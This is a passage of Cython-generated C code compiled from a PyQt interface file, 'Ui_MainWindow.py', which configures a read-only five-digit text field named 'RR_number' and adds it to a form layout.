__pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 516, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":517 * self.label_45.setObjectName("label_45") * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.LabelRole, self.label_45) * self.RR_number = QtWidgets.QLineEdit(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.RR_number.setMouseTracking(False) * self.RR_number.setAcceptDrops(False) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 517, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 517, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 517, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 517, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 517, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 517, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 517, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 517, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_number, __pyx_t_7) < 0) __PYX_ERR(0, 517, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":518 * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.LabelRole, self.label_45) * self.RR_number = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_number.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_number.setAcceptDrops(False) * self.RR_number.setToolTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 518, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 518, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__325, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 518, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":519 * self.RR_number = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_number.setMouseTracking(False) * self.RR_number.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_number.setToolTip("") * self.RR_number.setStatusTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 519, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 519, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__326, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 519, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":520 * self.RR_number.setMouseTracking(False) * self.RR_number.setAcceptDrops(False) * self.RR_number.setToolTip("") # <<<<<<<<<<<<<< * self.RR_number.setStatusTip("") * self.RR_number.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 520, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 520, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__327, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 520, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":521 * self.RR_number.setAcceptDrops(False) * self.RR_number.setToolTip("") * self.RR_number.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_number.setAccessibleName("") * self.RR_number.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 521, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 521, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__328, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 521, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":522 * self.RR_number.setToolTip("") * self.RR_number.setStatusTip("") * self.RR_number.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_number.setAccessibleDescription("") * self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 522, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 522, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__329, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 522, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":523 * self.RR_number.setStatusTip("") * self.RR_number.setAccessibleName("") * self.RR_number.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.RR_number.setInputMask("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 523, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 523, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__330, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 523, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":524 * self.RR_number.setAccessibleName("") * self.RR_number.setAccessibleDescription("") * self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) # <<<<<<<<<<<<<< * self.RR_number.setInputMask("") * self.RR_number.setText("00000") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_ImhDialableCharactersOnly); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_ImhDigitsOnly); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyNumber_Or(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_5) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 524, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":525 * self.RR_number.setAccessibleDescription("") * self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.RR_number.setInputMask("") # <<<<<<<<<<<<<< * self.RR_number.setText("00000") * self.RR_number.setMaxLength(5) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 525, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 525, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__331, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 525, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":526 * self.RR_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.RR_number.setInputMask("") * self.RR_number.setText("00000") # <<<<<<<<<<<<<< * self.RR_number.setMaxLength(5) * self.RR_number.setFrame(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 526, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 526, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__332, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 526, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":527 * self.RR_number.setInputMask("") * self.RR_number.setText("00000") * self.RR_number.setMaxLength(5) # <<<<<<<<<<<<<< * self.RR_number.setFrame(False) * self.RR_number.setReadOnly(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 527, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMaxLength); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 527, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__333, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 527, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":528 * self.RR_number.setText("00000") * self.RR_number.setMaxLength(5) * self.RR_number.setFrame(False) # <<<<<<<<<<<<<< * self.RR_number.setReadOnly(True) * self.RR_number.setPlaceholderText("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 528, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 528, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__334, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 528, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":529 * self.RR_number.setMaxLength(5) * self.RR_number.setFrame(False) * self.RR_number.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_number.setPlaceholderText("") * self.RR_number.setObjectName("RR_number") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 529, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setReadOnly); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 529, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__335, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 529, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":530 * self.RR_number.setFrame(False) * self.RR_number.setReadOnly(True) * self.RR_number.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_number.setObjectName("RR_number") * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.FieldRole, self.RR_number) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 530, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 530, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__336, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 530, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":531 * self.RR_number.setReadOnly(True) * self.RR_number.setPlaceholderText("") * self.RR_number.setObjectName("RR_number") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.FieldRole, self.RR_number) * self.label_46 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 531, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 531, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__337, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 531, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":532 * self.RR_number.setPlaceholderText("") * self.RR_number.setObjectName("RR_number") * self.formLayout_3.setWidget(18, QtWidgets.QFormLayout.FieldRole, self.RR_number) # <<<<<<<<<<<<<< * self.label_46 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_46.setObjectName("label_46") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_number); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_5, __pyx_int_18, __pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_5, __pyx_int_18, __pyx_t_4, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_INCREF(__pyx_int_18); __Pyx_GIVEREF(__pyx_int_18); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_18); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_6); __pyx_t_4 = 0; __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 532, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":533 * self.RR_number.setObjectName("RR_number") * 